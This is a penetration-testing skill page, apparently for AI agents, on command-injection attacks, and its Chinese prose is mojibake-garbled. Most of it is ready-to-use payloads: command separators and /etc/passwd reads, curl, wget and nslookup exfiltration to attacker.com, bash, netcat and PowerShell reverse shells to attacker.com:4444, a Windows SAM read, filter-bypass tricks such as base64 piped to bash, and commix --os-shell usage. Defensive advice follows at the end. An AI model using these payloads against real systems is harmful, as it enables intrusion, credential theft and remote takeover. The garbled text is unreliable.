command-injection-testing
npx skills add https://github.com/ed1s0nz/cyberstrikeai --skill command-injection-testing
Agent 安装分布
Skill 文档
å½ä»¤æ³¨å ¥æ¼æ´æµè¯
æ¦è¿°
å½ä»¤æ³¨å ¥æ¯ä¸ç§éè¿åºç¨ç¨åºæ§è¡ç³»ç»å½ä»¤çæ¼æ´ãå½åºç¨ç¨åºå°ç¨æ·è¾å ¥ç´æ¥ä¼ éç»ç³»ç»å½ä»¤æ¶ï¼æ»å»è å¯ä»¥æ§è¡ä»»æå½ä»¤ãæ¬æè½æä¾å½ä»¤æ³¨å ¥çæ£æµãå©ç¨å鲿¤æ¹æ³ã
æ¼æ´åç
åºç¨ç¨åºè°ç¨ç³»ç»å½ä»¤æ¶ï¼æªå¯¹ç¨æ·è¾å ¥è¿è¡å åéªè¯åè¿æ»¤ï¼å¯¼è´æ»å»è å¯ä»¥æ³¨å ¥é¢å¤çå½ä»¤ã
å±é©ä»£ç 示ä¾ï¼
// PHP
system("ping " . $_GET['ip']);
// Python
os.system("ping " + user_input)
// Node.js
child_process.exec("ping " + user_input)
æµè¯æ¹æ³
1. è¯å«å½ä»¤æ§è¡ç¹
常è§åè½ï¼
- Pingåè½
- DNSæ¥è¯¢
- æä»¶æä½
- ç³»ç»ä¿¡æ¯
- æ¥å¿æ¥ç
- å¤ä»½æ¢å¤
2. åºç¡æ£æµ
æµè¯å½ä»¤åé符ï¼
; # å½ä»¤åé符ï¼Linux/Windowsï¼
& # åå°æ§è¡ï¼Linux/Windowsï¼
| # 管é符ï¼Linux/Windowsï¼
&& # é»è¾ä¸ï¼Linux/Windowsï¼
|| # é»è¾æï¼Linux/Windowsï¼
` # å½ä»¤æ¿æ¢ï¼Linuxï¼
$() # å½ä»¤æ¿æ¢ï¼Linuxï¼
æµè¯Payloadï¼
127.0.0.1; id
127.0.0.1 && whoami
127.0.0.1 | cat /etc/passwd
127.0.0.1 `whoami`
127.0.0.1 $(whoami)
3. ç²å½ä»¤æ³¨å ¥
æ¶é´å»¶è¿æ£æµï¼
127.0.0.1; sleep 5
127.0.0.1 && sleep 5
127.0.0.1 | sleep 5
å¤å¸¦æ°æ®ï¼
127.0.0.1; curl http://attacker.com/?$(whoami)
127.0.0.1 && wget http://attacker.com/$(cat /etc/passwd)
DNSå¤å¸¦ï¼
127.0.0.1; nslookup $(whoami).attacker.com
å©ç¨ææ¯
åºç¡å½ä»¤æ§è¡
Linuxï¼
; id
; whoami
; uname -a
; cat /etc/passwd
; ls -la
Windowsï¼
& whoami
& ipconfig
& type C:\Windows\System32\drivers\etc\hosts
& dir
æä»¶æä½
读åæä»¶ï¼
; cat /etc/passwd
; type C:\Windows\System32\config\sam
; head -n 20 /var/log/apache2/access.log
åå ¥æä»¶ï¼
; echo "<?php phpinfo(); ?>" > /tmp/shell.php
; echo "test" > C:\temp\test.txt
åå¼¹Shell
Bashï¼
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
Netcatï¼
; nc -e /bin/bash attacker.com 4444
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f
PowerShellï¼
& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
ç»è¿ææ¯
ç©ºæ ¼ç»è¿
${IFS}id
${IFS}whoami
$IFS$9id
<>
%09 (Tab)
%20 (Space)
å½ä»¤åé符ç»è¿
ç¼ç ç»è¿ï¼
%3b (;)
%26 (&)
%7c (|)
æ¢è¡ç»è¿ï¼
%0a (æ¢è¡)
%0d (å车)
å ³é®åè¿æ»¤ç»è¿
åéæ¼æ¥ï¼
a=w;b=ho;c=ami;$a$b$c
éé 符ï¼
/bin/c?t /etc/passwd
/usr/bin/ca* /etc/passwd
å¼å·ç»è¿ï¼
w'h'o'a'm'i
w"h"o"a"m"i
åææ ï¼
w\ho\am\i
Base64ç¼ç ï¼
echo "d2hvYW1p" | base64 -d | bash
é¿åº¦éå¶ç»è¿
ä½¿ç¨æä»¶ï¼
echo "id" > /tmp/c
sh /tmp/c
使ç¨ç¯å¢åéï¼
export x='id';$x
å·¥å ·ä½¿ç¨
Commix
# åºç¡æ«æ
python commix.py -u "http://target.com/ping?ip=127.0.0.1"
# æå®æ³¨å
¥ç¹
python commix.py -u "http://target.com/ping?ip=INJECT_HERE" --data="ip=INJECT_HERE"
# è·åShell
python commix.py -u "http://target.com/ping?ip=127.0.0.1" --os-shell
Burp Suite
- æ¦æªè¯·æ±
- åéå°Intruder
- 使ç¨å½ä»¤æ³¨å ¥Payloadå表
- è§å¯ååºææ¶é´å»¶è¿
éªè¯åæ¥å
éªè¯æ¥éª¤
- 确认å¯ä»¥æ§è¡ç³»ç»å½ä»¤
- éªè¯å½ä»¤æ§è¡ç»æ
- è¯ä¼°å½±åï¼ç³»ç»æ§å¶ãæ°æ®æ³é²çï¼
- è®°å½å®æ´çPOC
æ¥åè¦ç¹
- æ¼æ´ä½ç½®åè¾å ¥åæ°
- 坿§è¡çå½ä»¤ç±»å
- 宿´çå©ç¨æ¥éª¤åPOC
- ä¿®å¤å»ºè®®ï¼è¾å ¥éªè¯ãåæ°åãç½ååçï¼
鲿¤æªæ½
æ¨èæ¹æ¡
-
é¿å å½ä»¤æ§è¡
- 使ç¨APIæ¿ä»£ç³»ç»å½ä»¤
- 使ç¨åºå½æ°æ¿ä»£å½ä»¤
-
è¾å ¥éªè¯
import re def validate_ip(ip): pattern = r'^(\d{1,3}\.){3}\d{1,3}$' if not re.match(pattern, ip): raise ValueError("Invalid IP") parts = ip.split('.') if not all(0 <= int(p) <= 255 for p in parts): raise ValueError("Invalid IP range") return ip -
åæ°åå½ä»¤
import subprocess # å±é© subprocess.call(['ping', '-c', '1', user_input]) # å®å ¨ - 使ç¨åæ°å表 subprocess.call(['ping', '-c', '1', validated_ip]) -
ç½ååéªè¯
ALLOWED_COMMANDS = ['ping', 'nslookup'] ALLOWED_OPTIONS = {'ping': ['-c', '-n']} if command not in ALLOWED_COMMANDS: raise ValueError("Command not allowed") -
æå°æé
- 使ç¨ä½æéç¨æ·è¿è¡åºç¨
- éå¶æä»¶ç³»ç»è®¿é®
- 使ç¨chrootæå®¹å¨é离
-
è¾åºè¿æ»¤
- éå¶è¾åºå 容
- è¿æ»¤ææä¿¡æ¯
- è®°å½å½ä»¤æ§è¡æ¥å¿
注æäºé¡¹
- ä» å¨æææµè¯ç¯å¢ä¸è¿è¡
- é¿å 对系ç»é æç ´å
- 注æä¸åæä½ç³»ç»çå½ä»¤å·®å¼
- æµè¯æ¶æ³¨æå½ä»¤æ§è¡çå½±åèå´